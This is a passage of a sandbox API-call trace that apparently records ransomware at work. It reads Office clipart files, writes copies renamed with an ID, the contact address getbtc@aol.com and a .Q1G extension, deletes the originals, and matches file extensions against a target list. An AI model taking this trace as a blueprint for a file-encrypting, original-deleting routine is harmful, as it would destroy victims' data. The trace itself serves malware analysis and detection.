lpNumberOfBytesRead=0x341fed4*=0x2dc8, lpOverlapped=0x0) returned 1 [0257.655] WriteFile (in: hFile=0x388, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x2dd0, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x2dd0, lpOverlapped=0x0) returned 1 [0257.656] ReadFile (in: hFile=0x3e0, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0257.656] WriteFile (in: hFile=0x388, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0257.656] SetEndOfFile (hFile=0x388) returned 1 [0257.656] CloseHandle (hObject=0x388) returned 1 [0257.656] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.656] SetEndOfFile (hFile=0x3e0) returned 1 [0257.658] CloseHandle (hObject=0x3e0) returned 1 [0257.658] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0257.659] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105912.wmf")) returned 1 [0257.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF") returned 63 [0257.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF") returned 63 [0257.659] lstrlenW (lpString=".doc") returned 4 [0257.659] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.659] lstrlenW (lpString=".docx") returned 5 [0257.660] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0257.660] lstrlenW (lpString=".pdf") returned 4 [0257.660] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.660] lstrlenW (lpString=".xls") returned 4 [0257.660] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.660] lstrlenW (lpString=".xlsx") returned 5 [0257.660] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0257.660] lstrlenW (lpString=".ppt") returned 4 [0257.660] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF") returned 63 [0257.660] lstrlenW (lpString=".zip") returned 4 [0257.660] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.660] lstrlenW (lpString=".rar") returned 4 [0257.660] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.660] lstrlenW (lpString=".bz2") returned 4 [0257.660] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.660] lstrlenW (lpString=".7z") returned 3 [0257.660] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF") returned 63 [0257.660] lstrlenW (lpString=".dbf") returned 4 [0257.660] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF") returned 63 [0257.660] lstrlenW (lpString=".1cd") returned 4 [0257.660] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF") returned 63 [0257.661] lstrlenW (lpString=".jpg") returned 4 [0257.661] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF") returned 63 [0257.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF") returned 63 [0257.661] lstrlenW (lpString=".doc") returned 4 [0257.661] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.661] lstrlenW (lpString=".docx") returned 5 [0257.661] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0257.661] lstrlenW (lpString=".pdf") returned 4 [0257.661] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.661] lstrlenW (lpString=".xls") returned 4 [0257.661] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.661] lstrlenW (lpString=".xlsx") returned 5 [0257.661] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0257.661] lstrlenW (lpString=".ppt") returned 4 [0257.661] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF") returned 63 [0257.661] lstrlenW (lpString=".zip") returned 4 [0257.661] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.661] lstrlenW (lpString=".rar") returned 4 [0257.661] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.661] lstrlenW (lpString=".bz2") returned 4 [0257.661] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.661] lstrlenW (lpString=".7z") returned 3 [0257.661] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF") returned 63 [0257.661] lstrlenW (lpString=".dbf") returned 4 [0257.661] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF") returned 63 [0257.661] lstrlenW (lpString=".1cd") returned 4 [0257.661] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF") returned 63 [0257.661] lstrlenW (lpString=".jpg") returned 4 [0257.661] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.662] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0257.662] lstrlenW (lpString="J0105974.WMF") returned 12 [0257.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105974.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0257.662] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=4612) returned 1 [0257.662] CloseHandle (hObject=0x3e0) returned 1 [0257.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105974.wmf")) returned 0x20 [0257.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105974.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105974.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0257.663] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.663] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105974.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0257.663] GetLastError () returned 0x0 [0257.664] ReadFile (in: hFile=0x3e0, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x1204, lpOverlapped=0x0) returned 1 [0257.665] WriteFile (in: hFile=0x388, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x1210, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x1210, lpOverlapped=0x0) returned 1 [0257.666] ReadFile (in: hFile=0x3e0, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0257.666] WriteFile (in: hFile=0x388, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0257.666] SetEndOfFile (hFile=0x388) returned 1 [0257.666] CloseHandle (hObject=0x388) returned 1 [0257.666] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.666] SetEndOfFile (hFile=0x3e0) returned 1 [0257.668] CloseHandle (hObject=0x3e0) returned 1 [0257.668] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0257.668] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105974.wmf")) returned 1 [0257.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF") returned 63 [0257.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF") returned 63 [0257.669] lstrlenW (lpString=".doc") returned 4 [0257.669] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.669] lstrlenW (lpString=".docx") returned 5 [0257.669] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0257.669] lstrlenW (lpString=".pdf") returned 4 [0257.669] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.669] lstrlenW (lpString=".xls") returned 4 [0257.669] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.669] lstrlenW (lpString=".xlsx") returned 5 [0257.669] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0257.669] lstrlenW (lpString=".ppt") returned 4 [0257.669] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF") returned 63 [0257.669] lstrlenW (lpString=".zip") returned 4 [0257.669] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.669] lstrlenW (lpString=".rar") returned 4 [0257.669] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.669] lstrlenW (lpString=".bz2") returned 4 [0257.669] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.669] lstrlenW (lpString=".7z") returned 3 [0257.669] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF") returned 63 [0257.669] lstrlenW (lpString=".dbf") returned 4 [0257.669] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF") returned 63 [0257.670] lstrlenW (lpString=".1cd") returned 4 [0257.670] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF") returned 63 [0257.670] lstrlenW (lpString=".jpg") returned 4 [0257.670] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF") returned 63 [0257.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF") returned 63 [0257.670] lstrlenW (lpString=".doc") returned 4 [0257.670] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.670] lstrlenW (lpString=".docx") returned 5 [0257.670] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0257.670] lstrlenW (lpString=".pdf") returned 4 [0257.670] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.670] lstrlenW (lpString=".xls") returned 4 [0257.670] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.670] lstrlenW (lpString=".xlsx") returned 5 [0257.670] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0257.670] lstrlenW (lpString=".ppt") returned 4 [0257.670] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF") returned 63 [0257.862] lstrlenW (lpString=".zip") returned 4 [0257.862] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.862] lstrlenW (lpString=".rar") returned 4 [0257.862] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.862] lstrlenW (lpString=".bz2") returned 4 [0257.862] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.862] lstrlenW (lpString=".7z") returned 3 [0257.862] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF") returned 63 [0257.862] lstrlenW (lpString=".dbf") returned 4 [0257.862] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF") returned 63 [0257.862] lstrlenW (lpString=".1cd") returned 4 [0257.862] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF") returned 63 [0257.862] lstrlenW (lpString=".jpg") returned 4 [0257.862] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.863] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0257.863] lstrlenW (lpString="J0106572.WMF") returned 12 [0257.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106572.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0257.912] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=2148) returned 1 [0257.912] CloseHandle (hObject=0x3c8) returned 1 [0257.912] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106572.wmf")) returned 0x20 [0257.912] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106572.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106572.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0257.912] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.912] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106572.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0257.913] GetLastError () returned 0x0 [0257.913] ReadFile (in: hFile=0x3c8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x864, lpOverlapped=0x0) returned 1 [0257.937] WriteFile (in: hFile=0x3f0, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x870, lpOverlapped=0x0) returned 1 [0257.938] ReadFile (in: hFile=0x3c8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0257.938] WriteFile (in: hFile=0x3f0, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0257.938] SetEndOfFile (hFile=0x3f0) returned 1 [0257.938] CloseHandle (hObject=0x3f0) returned 1 [0257.939] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.939] SetEndOfFile (hFile=0x3c8) returned 1 [0257.940] CloseHandle (hObject=0x3c8) returned 1 [0257.941] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0257.979] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106572.wmf")) returned 1 [0257.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF") returned 63 [0257.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF") returned 63 [0257.980] lstrlenW (lpString=".doc") returned 4 [0257.980] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.980] lstrlenW (lpString=".docx") returned 5 [0257.980] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0257.980] lstrlenW (lpString=".pdf") returned 4 [0257.980] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.980] lstrlenW (lpString=".xls") returned 4 [0257.980] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.980] lstrlenW (lpString=".xlsx") returned 5 [0257.980] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0257.980] lstrlenW (lpString=".ppt") returned 4 [0257.980] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF") returned 63 [0257.980] lstrlenW (lpString=".zip") returned 4 [0257.980] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.980] lstrlenW (lpString=".rar") returned 4 [0257.980] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.980] lstrlenW (lpString=".bz2") returned 4 [0257.980] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.980] lstrlenW (lpString=".7z") returned 3 [0257.980] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF") returned 63 [0257.980] lstrlenW (lpString=".dbf") returned 4 [0257.980] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF") returned 63 [0257.980] lstrlenW (lpString=".1cd") returned 4 [0257.980] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF") returned 63 [0257.980] lstrlenW (lpString=".jpg") returned 4 [0257.980] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF") returned 63 [0257.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF") returned 63 [0257.981] lstrlenW (lpString=".doc") returned 4 [0257.981] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.981] lstrlenW (lpString=".docx") returned 5 [0257.981] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0257.981] lstrlenW (lpString=".pdf") returned 4 [0257.981] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.981] lstrlenW (lpString=".xls") returned 4 [0257.981] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.981] lstrlenW (lpString=".xlsx") returned 5 [0257.981] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0257.981] lstrlenW (lpString=".ppt") returned 4 [0257.981] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF") returned 63 [0257.981] lstrlenW (lpString=".zip") returned 4 [0257.981] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.981] lstrlenW (lpString=".rar") returned 4 [0257.981] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.981] lstrlenW (lpString=".bz2") returned 4 [0257.981] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.981] lstrlenW (lpString=".7z") returned 3 [0257.981] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF") returned 63 [0257.981] lstrlenW (lpString=".dbf") returned 4 [0257.981] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF") returned 63 [0257.981] lstrlenW (lpString=".1cd") returned 4 [0257.981] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF") returned 63 [0257.981] lstrlenW (lpString=".jpg") returned 4 [0257.981] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.981] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0257.981] lstrlenW (lpString="J0107042.WMF") returned 12 [0257.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107042.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0258.014] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=9048) returned 1 [0258.014] CloseHandle (hObject=0x3e0) returned 1 [0258.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107042.wmf")) returned 0x20 [0258.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107042.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0258.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107042.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0258.014] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.014] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107042.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0258.015] GetLastError () returned 0x0 [0258.015] ReadFile (in: hFile=0x3e0, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x2358, lpOverlapped=0x0) returned 1 [0258.020] WriteFile (in: hFile=0x3d8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x2360, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x2360, lpOverlapped=0x0) returned 1 [0258.021] ReadFile (in: hFile=0x3e0, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0258.021] WriteFile (in: hFile=0x3d8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, 